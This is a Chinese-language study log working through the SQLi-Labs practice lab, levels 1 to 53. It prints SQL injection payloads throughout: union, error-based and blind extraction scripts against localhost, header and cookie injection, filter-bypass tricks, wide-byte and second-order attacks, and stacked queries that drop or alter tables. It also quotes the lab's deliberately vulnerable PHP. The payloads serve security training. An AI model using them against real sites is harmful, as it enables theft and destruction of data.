0%

SQLi-Labs

一天5个叭。。。

尽量一天5个叭。。。

2020-1-13

Less-1

1-1

题目说明 Please input the ID as parameter with numeric value,所以使用id来注入

?id=1'报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

1-2

使用order by查列数,?id=1' order by 4 %23'报错,存在三列

1-3

接着进行联合注入,通过回显爆出表名,列名,字段。

这里查询时需要将id查询结果限定为空集,第二个查询结果才能显示出来

查询数据库 ?id=-1' union select 1,group_concat(schema_name),concat_ws(';',schema_name) from information_schema.schemata--+

1-4

查询security数据库的表 ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

1-5

查询user表的列 ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

1-6

查询数据 ?id=-1' union select 1,concat_ws(';',username,password),3 from users where id=1--+

1-7

Less-2

2-1查询?id=1,正常

查询?id=1',报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

2-2

可知单引号影响了闭合,该注入为整数型,只需在Less-1的基础上,将每个payload中的'删除即可

最终payload为?id=-1 union select 1,concat_ws(';',username,password),3 from users where id=1--+

2-3

Less-3

查询?id=1,正常

查询?id=1',报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可知该处使用')进行闭合,其余步骤与上相同

最终payload为?id=-1') union select 1,concat_ws(';',username,password),3 from users where id=1--+

Less-4

查询?id=1,正常

查询?id=1’,正常

查询?id=1",报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

可知该处使用")进行闭合,其余步骤与上相同

最终payload为?id=-1") union select 1,concat_ws(';',username,password),3 from users where id=1--+

Less-5

5-1

查询?id=1,显示You are in...........,判断需要盲注

查询?id=1',报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

可以构造payload进行基于bool的盲注,使用脚本进行

此处以查询数据库名为例,其他的类似,只需改url中的payload即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# coding:utf-8
import requests

url = "http://127.0.0.1/Less-5/?id=1%27 and ascii(substr((select database()),{_},1))={__} %23"
#注意一下这里使用=去作为判断条件
#url = "http://127.0.0.1/Less-5/?id=1%27 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{_},1))={__} %23"

database = ''
#table_name = ''

for i in range(1,50):
for j in range(65,127):
payload = url.format(_ = i,__ = j)
#print payload
ans = requests.get(payload)
#print ans.content
if 'You are in...........' in ans.content:
database = database + chr(j)
print database
#table_name += chr(j)
#print table_name
break

执行结果为security

5-2

也可以报错注入,payload为

1
?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23

Less-6

查询?id=1,显示You are in………..

查询?id=1’,显示You are in………..

查询?id=1",报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1

可知该处使用"进行闭合,同样使用bool盲注,注入的脚本只需将Less-5中payload中的’改为”即可,其余步骤与Less-5一样

2020-1-14

Less-7

查询?id=1,显示You are in.... Use outfile......

查询?id=1 and 1=2,显示You are in.... Use outfile......,说明不是数值型注入

查询?id=1',报错You have an error in your SQL syntax

查询?id=1' --+,报错You have an error in your SQL syntax

查询?id=1') --+,报错You have an error in your SQL syntax

查询?id=1')) --+,显示You are in.... Use outfile......,判断参数提交为((‘$id’))

题目又说需要 use outfile

这里我对linux的导出文件不是很熟练,所以换成了win10里用phpstudy搭的sqli-labs环境测试

判断读写权限 ?id=1')) and (select count(*) from mysql.user)>0--+ ,没有报错,说明具有root权限

导出表 ?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\table.txt"--+

导出user表中列名 ?id=-1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\column.txt"--+

导出用户名和密码 ?id=-1')) union select 1,2,(select group_concat(username,password) from users) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\data.txt"--+

Less-8-盲注单引号注入

查询?id=1,显示You are in...........

查询?id=1',没有回显

查询?id=' or 1=1--+,显示You are in...........,说明为单引号闭合

直接使用脚本进行基于bool的盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = '''http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),{_},1))>{__} %23'''

database = ''

for i in range(1,9):
max = 127
min = 65
while abs(max-min)>1:
mid = (max+min)//2
payload = url.format(_=i,__=mid)
ans = requests.get(payload)
if 'You are in...........' in ans.content:
min = mid
else:
max = mid
database = database + chr(max)
print database

Less-9-基于时间的GET单引号盲注

无论查询什么,页面均显示 You are in...........

测试?id=1' and sleep(2)--+,发现页面会延时2s回显,说明为基于时间的盲注

使用脚本进行基于时间的盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time

url = '''http://127.0.0.1/Less-8/?id=1'and if(ascii(substr(database(),{_},1))={__},1,sleep(2))--+'''

database = ""
for i in range(1, 10):
for j in range(97,127):
payload = url.format(_=i,__=j)
#print payload
start = time.time()
ans = requests.get(payload)
if time.time()-start >2:
continue
else:
database += chr(j)
print database
break

Less-10-基于时间的GET双引号盲注

与less-9一样也是基于时间的盲注,不同的是less-9是单引号闭合,此题为双引号闭合

Less-11-基于错误的post单引号注入

11-1

此题是一个登录框,先试试万能密码

即Username输入1' or 1=1#,Password为任意值。

登陆成功

11-2

思考点

查看源代码,后端的登陆语句为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);

// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
}

这里使用的是POST请求,只能使用#进行注释

Less-12-基于错误的post双引号注入

构造Username输入1' or 1=1#,Password为任意值,登陆失败。

构造Username输入1" or 1=1#,Password为任意值,报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

构造Username输入1") or 1=1#,Password为任意值,登陆成功

此题闭合方式为 ("$uname")

Less-13-POST单引号变形双注入

构造Username输入1' or 1=1#,Password为任意值,报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

构造Username输入1') or 1=1#,Password为任意值,登陆成功

此题闭合方式为 ('$uname')

Less-14-POST双引号变形双注入

构造Username输入1" or 1=1#,Password为任意值,登陆成功

此题闭合方式为 ('$uname')

2020-1-15

Less-15-基于bool型/时间延迟单引号POST型盲注

构造Username输入1' or 1=1#,Password为任意值,登陆成功

此题闭合方式为'$uname'

Less-16-基于bool型/时间延迟的双引号POST型盲注

构造Username输入1" or 1=1#,Password为任意值,登陆失败

再构造Username输入1") or 1=1#,Password为任意值,登陆成功

此题闭合方式为("$uname")

Less-17-基于错误的更新查询POST注入

17-1

构造Username输入1' or 1=1#,Password为任意值,登陆失败

17-2

先看看后端源代码再尝试注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

//making sure uname is not injectable
$uname=check_input($_POST['uname']);

$passwd=$_POST['passwd'];

这里使用check_input函数对uname的输入进行过滤,而passwd并没有过滤,又页面提示为PASSWORD RESET,为重置密码界面,所以从密码框尝试注入

能够利用的查询语句为

1
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

所以,可以使用报错注入用单引号闭合password

爆数据库

1
2
username: admin
password:1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

17-3

爆表

1
2
username: admin
password:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

17-4

爆列

1
2
username: admin
password:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1)#

17-5

爆详细数据

1
2
username: admin
password:1' and updatexml(1,concat(0x7e,(select username from users),0x7e),1)#

17-6

产生报错

1
You can't specify target table 'users' for update in FROM clause

这是mysql自身的问题不能同时对一个表又select又update,所以我们得构造另外一个表去子查询,同时得初始化数据库

1
2
username: admin
password:1' and updatexml(1,concat(0x7e,(select username from (select username from users)b limit 0,1),0x7e),1)#

17-7

2020-1-16

Level 18-基于错误的用户代理,头部POST注入

18-1

页面显示Your IP ADRESS is:172.17.0.1又根据标题可推测为http头部注入

查看后端源代码

1
2
3
4
5
6
7
8
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);

要登录进去后才能注入,利用的是insert的那一部分语句,使用以下用户名和密码登陆

1
2
username:admin
password:admin

18-2

接着利用user-agent注入

先输入1',会报错MySQL server version for the right syntax to use near '127.0.0.1', 'admin')'

再输入 1' and '1'='1

出现回显并且没有报错

1
Your User Agent is: 1' and '1'='1

直接利用报错注入

1
1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

18-3

之后就一步一步利用上一关的payload进行爆表-爆列-包数据的操作

Level-19-基于头部的Referer POST报错注入

Level-18开始,每一题都需要登陆成功才能完成注入

这里回显在Referer上,所以和上一题差不多,直接将payload放在Refer里报错注入就行

1
Referer: 1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

Level-20-基于错误的cookie头部POST注入

此题回显在cookie上,

先尝试一下cookie

1
uname=admin';

出现报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' LIMIT 0,1' at line 1

应该是单引号闭合,接下来通过cookie进行报错注入

1
uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

2020-1-17

Less-21-基于错误的复杂的字符型Cookie注入

此关卡通过查看后端源代码

1
setcookie('uname', base64_encode($row1['username']), time()+3600);

发现username这个参数注入的时候经过了base64加密,所以我们注入的payload也得经过base64加密后再输入

先登陆进去,登陆成功页面如下

21-1

burp抓包,修改参数(base64加密)进行注入

1
uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

即payload为

1
uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIG9yICcxJz0nMQ==

21-2

Less-22-基于错误的双引号字符型Cookie注入

Less-21,只是闭合方式由单引号变成双引号

payload为

1
2
uname=admin" and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1
uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIG9yICIxIj0iMQ==

Less-23-基于错误的,过滤注释的GET型

又回到使用id来注入了,这里对注释符进行了过滤

1
2
3
4
5
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

这里有两种绕过方法

  • 使用union注入( 要构造sql语句闭合前后的单引号 )
1
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)'
  • 使用报错注入
1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

Less-24-二次注入

24-1

根据名字可知这是个二次注入的题目,二次注入的题一般都要通过代码审计找出可控点,否则很难注入

通过代码审计,发现最关键的是pass_change.php里面的代码

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "

我们可以注册以下用户

1
2
username=admin’#
password=123

24-2

登陆,修改密码

24-3

再登陆就可以修改用户admin的密码

24-4

Less-25-过滤了or和and

25-1

题目已经告诉是过滤了or和and

再看看后端源代码

1
2
3
4
5
6
7
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

or还有AND都会替换成为"",这里是大小写都会被拦截下来的

这里的绕过方法还挺多的

1
2
3
4
5
大小写变形Or,OR,oR
编码,hex,urlencode
添加注释/*or*/
利用符号and=&& or=||
双写绕过

payload为

1
?id=1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) %23

Less-25a-过滤了or和and的盲注

跟上一关卡采用同样的过滤方式,语句变简单了,没有闭合
但是这一关卡不能再用报错注入,因为源码中把报错信息给注释掉了,可以用盲注,也可以用union注入

  • union注入
1
?id=-1 union select 1,database(),3%23
  • 二分法盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time

url = '''http://127.0.0.1/Less-25a/?id=1 aandnd ascii(substr(database(),{_},1))>{__}%23'''

database = ""
for i in range(1, 10):
Min = 67
Max =127
while abs(Max-Min)>1:
mid = (Max+Min)//2
payload = url.format(_=i,__=mid)
ans = requests.get(payload)
if 'Your Login name:Dumb' in ans.content:
Min = mid
else:
Max = mid
database += chr(Max)
print database

注意 :这两关在写到关于information这个单词的时候,需要注意它里面存在or,我们需要双写绕过

2020-1-18

Less-26-过滤了注释和空格的注入

后端源代码

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
  • 注释被过滤了,考虑使用闭合单引号注入

  • 空格使用%0a来绕过

  • or和and依旧双写绕过

payload为

1
?id=-1'%a0union%a0select%a01,(select%a0group_concat(passwoorrd)%a0from%a0users),'3

Less-26a-过滤了注释和空格的盲注

跟上一题一样,只是换了一种闭合方式 ('$id')

payload为

1
?id=-1')%a0union%a0select%a01,(select%a0group_concat(passwoorrd)%a0from%a0users),('3

Less-27-过滤了union和select

后端源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}

这时一些sql查询命令被过滤,可以使用双写绕过或者大小写绕过

  • 直接查询
1
?id=0'%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),'3
  • 报错查询
1
?id=0'and%a0updatexml(1,concat(0x7e,database(),0x7e),1)%a0and'1'='1

Less-27a-过滤了union和select的盲注

换成了双引号闭合,其余和上一关一样

payload为

1
?id=0"%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),"3

1
?id=0"and%a0updatexml(1,concat(0x7e,database(),0x7e),1)%a0and"1"="1

Less-28-基于错误的, 有括号的单引号字符型,过滤了union和select等的注入

Level-27相比,闭合方式改为 ('$id') ,但此时不能使用报错注入

payload为

1
?id=0')%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),('3

Less-28a-有括号的单引号字符型,过滤了union和select等的盲注

和上一关一样

1
?id=0')%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),('3

Less-29-WAF保护

Less-29-Less-31都是两层服务器架构,参考MySQL注入天书

重点:index.php?id=1&id=2,到底是显示id=1的数据还是显示id=2的?

Explain:apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。

再查看后端源代码

1
2
3
4
5
6
7
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

id的值经过java_implimentation()处理看是否符合whitelist()函数的过滤要求,若不符合就检测出攻击,否则就把第二个id的值拼接到sql语句中进行查询。

  • whitelist()要求传入的参数必须是一位以上的数字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
  • java_implimentation()则将传入的参数以&为分隔符分为两部分,然后进行遍历,若前两个字符为id则返回后面3到30个字符。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);

foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}

所以payload为

1
?id=1&id=-1' union select 1,database(),3 %23

Less-30-WAF保护

同上,只是改变了闭合的方式

此题闭合方式为双引号闭合

1
?id=1&id=-1" union select 1,database(),3 %23

Less-31-WAF保护

同上,只是改变了闭合的方式

此题闭合方式为 ("$id")

1
?id=1&id=-1") union select 1,database(),3 %23

2020-1-19

鸽一天嗷

2020-2-23

鸽了一个月多了,lei了lei了

Less-32-宽字节注入

[宽字节注入参考链接][https://www.cnblogs.com/Rain99-/p/10583406.html]

32-1

后端源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}

if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
}

check_addslashes函数完成对输入的参数进行转义,直接利用单引号闭合然后加上%df就可以了,payload为

1
?id=-1%df%27union select 1,database(),3 %23

Less-33-宽字节注入

和上面一关一样,唯一不同在于转义函数check,上面一关是作者自己写的,这一关是直接调用了系统的函数

1
2
3
4
5
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

payload为

1
?id=-1%df%27union select 1,database(),3 %23

Less-34-宽字节post注入

本关改为post型的注入漏洞,同样是将post的内容进行转义处理。

前几关的get型的方式我们是以url 形式提交的,因此数据会通过URLencode,如何将方法用在post 型的注入当中,此处用到一个新的方法。将utf-8 转换为utf-16 或utf-32,例如将 转为utf-16 为♦' ,此时payload为

1
uname=♦' or 1=1#&passwd=1&submit=Submit

Less-35-why care for addslashes

这一题根本没有使用任何引号不需要闭合,它的转义也是多余的,直接查询就行,payload为

1
?id=-1 union select 1,database(),3 %23

Less-36-绕过Mysql过滤

查看后端源代码

1
2
3
4
5
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}

此关用了mysql_real_escape_string函数进行转义,但依然可以用%df去绕过payload为

1
?id=-1%df%27 union select 1,database(),3%23

Less-37-MySQL_real_escape_string

查看后端源代码

1
2
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);

同样使用mysql_real_escape_string函数进行转义,但使用post类型注入宽字节,payload和Less-34一样

1
uname=♦' or 1=1#&passwd=1&submit=Submit

Less-38-堆叠查询

[堆叠注入参考链接][https://blog.csdn.net/qq_32434307/article/details/87994600?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task]

直接单引号闭合就可以,payload为

1
?id=-1' union select 1,database(),3%23

还可以对数据库进行操作

1
?id=1'';insert into users(id,username,password) values('233','no-timing','no-timing')--+

38-1

Less-39-堆叠查询

同上一关,id不闭合

1
?id=-1 union select 1,database(),3%23

Less-40-堆叠查询

(‘$id’)闭合

1
?id=-1') union select 1,database(),3%23

Less-41-堆叠查询 盲注

Less-39,id不闭合,无错误回显

union注入

1
id=-1 union select 1,database(),3%23

盲注

1
?id=1 and ascii(substr(database(),1,1))>114 %23

Less-42-基于错误的堆叠查询

post注入,查看源码发现uname进行了过滤,故对passwd进行注入

1
2
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

payload为

1
2
uname = yzz
passwd = 1;drop table users#

直接删库

Less-43-堆叠查询

Less-42,闭合为(‘$id’)

Less-44-堆叠查询 盲注

单引号闭合,无报错回显,payload为

1
2
uname = yzz
passwd = 1';drop table users#

Less-45-堆叠查询 盲注

Less-43,无报错回显

2020-2-24

Less-46-order by排序注入

[order by注入参考链接][https://www.jianshu.com/p/fcae21926e5c]

后端mysql查询源码为

1
$sql = "SELECT * FROM users ORDER BY $id";

order by有三种利用方法

1
2
3
直接添加注入语句 ?sort=(select ******)
利用一些函数,例如rand函数,?sort=rand(sql语句),而且此处rand(true)和rand(false)是不相同的。
利用and,例如?sort=1 and (加sql语句)

这一关可以直接利用报错注入,payload为

1
?sort=1 and extractvalue(1,concat(0x25,(select password from users where id=3)))

也可以使用盲注,利用表格的最后一行区分,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time

url = '''http://127.0.0.1/Less-46/?sort=rand(ascii(substr((select database()),{_},1))>{__})
'''
database = ""

for i in range(1,9):
Min = 67
Max = 127
while abs(Max-Min)>1:
mid = (Min+Max)//2
payload = url.format(_=i,__=mid)
print payload
ans = requests.get(payload)
if '<td>superman</td><td>genious</td></tr></font></table>' in ans.content:
Min = mid
else:
Max = mid
database += chr(Max)
print database

Less-47-单引号order by排序注入

在上一关基础上,使用单引号闭合payload即可

1
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23

Less-48-order by排序盲注

使用Less-46的盲注脚本就可以

Less-49-order by 字符型盲注

Less-46脚本,采用时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import time

url = '''http://127.0.0.1/Less-49/?sort=1' and if(((ascii(substr((select password from users where username="admin"),{_},1)))={__}),sleep(4),false) --+'''
flag = ""

for i in range(1,9):
for j in range(67,127):
payload = url.format(_=i,__=j)
try:
requests.get(payload,timeout=3)
except:
flag += chr(j)
print flag
break

Less-50-数字型order by注入与堆叠注入

直接报错查询

1
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

还可以对数据库操作

1
?sort=1;create table no-timing like users

Less-51-字符型order by注入与堆叠注入

同上,使用单引号闭合即可

1
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)

Less-52-数字型order by注入与堆叠盲注

Less-50,只不过无回显

Less-53-字符型order by注入与堆叠注入

Less-51,只不过无回显